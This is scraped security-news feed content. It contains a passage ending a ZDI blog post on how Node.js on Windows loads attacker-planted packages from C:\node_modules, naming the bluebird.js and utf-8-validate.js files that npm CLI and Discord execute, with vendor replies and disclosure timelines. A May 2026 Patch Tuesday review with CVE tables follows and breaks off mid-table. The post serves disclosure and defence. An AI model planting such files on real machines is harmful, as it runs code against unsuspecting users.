          </figcaption>
        
      
        </figure>
      

    
  


  


<p>This pattern silently catches errors when optional packages are missing, allowing execution to continue. So what’s the problem? On Windows, Node.js will search all the way up to <code>C:\node_modules</code> where an attacker may have planted a malicious replacement. This search behavior mirrors UNIX conventions where <code>/node_modules</code> at the filesystem root is typically only writable by root. Windows systems by default allow any user to create <code>C:\node_modules</code>. Once <code>require</code> is called, Node.js will traverse the search path and execute any matching module it finds.  </p>
<p>Important things to note:  </p>
<ol>
<li>   This pattern can be found in third party libraries deep in a dependency tree, as we will see in the following examples.  </li>
<li>   There is no runtime indication to either the developers or the end users that such a vulnerability exists without looking at the filesystem logs with Procmon.  </li>
<li>   The optional dependency pattern itself would not be dangerous if Node.js did not search for packages in <code>C:\node_modules</code>.</li>
</ol>
<p>Let’s take a deeper look at both cases and see why this is so dangerous.  </p>
<p><b data-preserve-html-node="true">Case 1: npm CLI (ZDI-26-043 / ZDI-CAN-25430 / CVE-2026-0775)</b>. </p>
<p>Prior to version 11.2.0, npm CLI used a library called “promise-inflight”, which contained an optional dependency on a package called “bluebird”. </p>












































  

    
  
    

      

      
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            <p data-rte-preserve-empty="true"><em>Figure 3: npm CLI repo </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>snippet</em></a><em> </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>showing</em></a><em> require call for missing bluebird package dependency</em></p>
          </figcaption>
        
      
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<p>When Node.js is installed on the system, npm is included by default without the <code>bluebird</code> package.  This vulnerability was introduced when bluebird was removed through a well-intentioned pull request (<a href="https://github.com/npm/cli/pull/1438/changes">https://github.com/npm/cli/pull/1438/changes</a>), demonstrating how easy it is for developers to unknowingly create this attack surface.</p>
<p>We can see Node’s package resolution logic at work in the screenshot below:</p>












































  

    
  
    

      

      
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            <p data-rte-preserve-empty="true"><em>Figure 4: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0775</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>First, the application looks for the <code>bluebird.js</code> package in the Node.js installation directory. Node.js sequentially searches back to the system root until it finds the package. If an attacker has placed <code>C:\node_modules\bluebird.js</code>, the <code>require</code> call will find, read, and execute the malicious payload in the context of any user running npm on the system. </p>
<p>This vulnerability is especially dangerous because it is triggered when many <code>npm *</code> cli commands are used. Common development commands such as <code>npm install</code>, <code>npm –l</code>, and <code>npm prune</code> will all execute the malicious <code>bluebird.js</code>package.</p>
<p><b data-preserve-html-node="true">Case 2: Discord (ZDI-26-040/ ZDI-CAN-27057 / CVE-2026-0776/ UNPATCHED)</b></p>
<p>On April 22, 2025, ZDI received a report for a similar vulnerability in Discord reported by T. Doğa Gelişli. Discord uses the ws WebSocket library, which contains an optional dependency on utf-8-validate for compatibility with older Node.js versions:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png" data-image-dimensions="1662x798" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w" width="1662" height="798" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 5: websockets library repo snippet showing require call for missing utf-8-validate package dependency</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>Discord does not ship with the utf-8-validate package. As a result, the following Procmon logs show the same behavior as Case 1. Anytime Discord is launched, the attacker controlled <code>C:\node_modules\utf-8-validate.js</code> is executed.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png" data-image-dimensions="1074x528" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w" width="1074" height="528" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 6: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0776</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>The ws library does support disabling this check via the <code>WS_NO_UTF_8_VALIDATE</code> environment variable, but this requires the consuming application (Discord) to set it explicitly. Here’s a quick video demonstrating the bug by popping the calc app when opening Discord:</p>


  














  
    
      
    
    
      
        
          
          
        
      
      
      



    
  








  <p class="">Discord automatically opens on login by default, so in practice code execution happens immediately without any user interaction. Strangely, the Discord Security team made it clear to us in their responses that they do not consider local attack vectors as valid security issues. </p><p class=""><strong>The Bigger Picture</strong></p><p class="">The cases above represent only a few of the applications affected by this pattern. During our investigation we found many other independent reports.  These issues in <a href="https://jira.mongodb.org/browse/COMPASS-9058">Mongo DB Compass</a> and <a href="https://jira.mongodb.org/browse/MONGOSH-2028">Mongo DB Shell</a> are just two other examples.</p><p class="">Every Windows application built on Node.js with missing or optional dependencies is potentially vulnerable. This includes desktop applications that utilize Electron as well as popular web frameworks such as Next.js and React.</p><p class="">Each vendor has clearly stated that they will not treat these issues as vulnerabilities: </p><p class="">NPM’s response to our report: </p><p class=""><em>“exploits that require local access to a machine are considered ineligible for npm CLI</em></p><p class="">Discord’s response to our report:</p><p class=""><em>“We do not consider physical/local attacks as valid security issues”</em></p><p class="">Node.js, in the “Examples of non-vulnerabilities” section of their <a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">Security Policy</a>: </p><p class=""><em>“Node.js trusts the file system in the environment accessible to it. Therefore, it is not a vulnerability if it accesses/loads files from any path that is accessible to it.” </em></p><p class=""><strong>Conclusion</strong></p>





















  
  



<p>The vulnerability pattern described in this blog stems from a deliberate design decision by Node.js maintainers. While Node.js's position that “applications should trust their filesystem” may hold true on properly administered UNIX systems, it creates a systemic vulnerability on Windows where low-privileged users can write to <code>C:\node_modules</code>. Without a fix from Node.js, the burden silently falls on application developers.   </p>
<p>Making matters worse, the vulnerable code may not live in the application code itself. The optional dependencies that trigger this behavior could come from third-party libraries buried in the dependency tree as we saw with both Discord and npm CLI. </p>




  <p class="">We encourage security researchers to further review this issue and investigate other applications for this dangerous behavior. You can find us online at <a href="https://x.com/bobbygould5">@bobbygould5</a> and <a href="https://x.com/izobashi">@izobashi</a>, and follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p><p class=""> </p><p class="">DISCLOSURE TIMELINES</p><p class=""> </p><p class="">NPM CLI: </p><p class="">2024-11-13 – ZDI submitted the report to the vendor</p><p class="">2024-11-13 – The vendor acknowledged the receipt of the report</p><p class="">2024-11-13 – The vendor communicated that the reported behavior was by design and they do not consider local attacks as valid security issues</p><p class="">2025-08-05 – ZDI encouraged the vendor to re-assess the issue</p><p class="">2025-12-18 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory</p><p class=""> </p><p class="">DISCORD: </p><p class="">2025-07-08 – ZDI notified vendor </p><p class="">2025-09-11 – ZDI followed up with vendor </p><p class="">2025-09-15 – Vendor stated they do not consider local attacks as valid security issues </p><p class="">2025-12-01 – ZDI explained why we believe the issue is still valid </p><p class="">2025-12-10 – Vendor replied that the vulnerability is still out of scope  </p><p class="">2025-12-11 – ZDI informed vendor of intent to publish 0-day  </p><p class="">  </p><p class="">REFERENCES</p><p class=""><a href="https://nodejs.org/api/modules.html#loading-from-node_modules-folders">https://nodejs.org/api/modules.html#loading-from-node_modules-folders</a></p><p class=""><a href="https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies">https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies</a></p><p class=""><a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1">https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1</a></p><p class=""><a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">https://github.com/nodejs/node-v0.x-archive/issues/8830</a></p><p class=""><a href="https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require">https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require</a></p><p class=""><a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The May 2026 Security Update Review]]></title>
<description><![CDATA[I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patch...]]></description>
<link>https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:56 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.</p><p class=""><strong>Adobe Patches for May 2026</strong></p><p class="">For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-49.html" target="_blank">APSB26-49</a></td>
    <td>Adobe Commerce</td>
    <td>15</td>
    <td>Critical</td>
    <td>8.7</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-48.html" target="_blank">APSB26-48</a></td>
    <td>Adobe After Effects</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-50.html" target="_blank">APSB26-50</a></td>
    <td>Adobe Connect</td>
    <td>2</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-51.html" target="_blank">APSB26-51</a></td>
    <td>Adobe Illustrator</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-47.html" target="_blank">APSB26-47</a></td>
    <td>Adobe Media Encoder</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-46.html" target="_blank">APSB26-46</a></td>
    <td>Adobe Premiere Pro</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-55.html" target="_blank">APSB26-55</a></td>
    <td>Adobe Substance 3D Painter</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-54.html" target="_blank">APSB26-54</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html" target="_blank">APSB26-53</a></td>
    <td>Content Authenticity SDK</td>
    <td>14</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-52.html" target="_blank">APSB26-52</a></td>
    <td>Adobe Substance 3D Designer</td>
    <td>5</td>
    <td>Important</td>
    <td>6.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>10 bulletins</td>
    <td>52</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.</p><p class=""><strong>Microsoft Patches for May 2026</strong></p><p class="">This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.</p><p class="">This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><strong>CVE-2026-41096</strong></a><strong> - Windows DNS Client Remote Code Execution Vulnerability<br></strong>This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><strong>CVE-2026-41089</strong></a><strong> - Windows Netlogon Remote Code Execution Vulnerability<br></strong>This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><strong>CVE-2026-42898</strong></a><strong> - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability<br></strong>This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><strong>CVE-2026-40415</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.</p><p class="">Here’s the full list of CVEs released by Microsoft for May 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-May-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35435"><span>CVE-2026-35435</span></a></td>
  <td width="256" class="xl73">Azure AI Foundry
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35428"><span>CVE-2026-35428</span></a></td>
  <td width="256" class="xl73">Azure Cloud Shell
  Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42826"><span>CVE-2026-42826</span></a></td>
  <td width="256" class="xl73">Azure DevOps
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">10</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32207"><span>CVE-2026-32207</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33109"><span>CVE-2026-33109</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33844"><span>CVE-2026-33844</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41105"><span>CVE-2026-41105</span></a></td>
  <td width="256" class="xl73">Azure Monitor Action
  Group Notification System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33111"><span>CVE-2026-33111</span></a></td>
  <td width="256" class="xl73">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26129"><span>CVE-2026-26129</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26164"><span>CVE-2026-26164</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33821"><span>CVE-2026-33821</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Customer Insights Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><span>CVE-2026-42898</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40379"><span>CVE-2026-40379</span></a></td>
  <td width="256" class="xl73">Microsoft Enterprise
  Security Token Service (ESTS) Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40363"><span>CVE-2026-40363</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40358"><span>CVE-2026-40358</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34327"><span>CVE-2026-34327</span></a></td>
  <td width="256" class="xl73">Microsoft Partner
  Center Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40365"><span>CVE-2026-40365</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41103"><span>CVE-2026-41103</span></a></td>
  <td width="256" class="xl73">Microsoft SSO Plugin
  for Jira &amp; Confluence Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33823"><span>CVE-2026-33823</span></a></td>
  <td width="256" class="xl73">Microsoft Team Events
  Portal Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40364"><span>CVE-2026-40364</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40366"><span>CVE-2026-40366</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40361"><span>CVE-2026-40361</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40367"><span>CVE-2026-40367</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
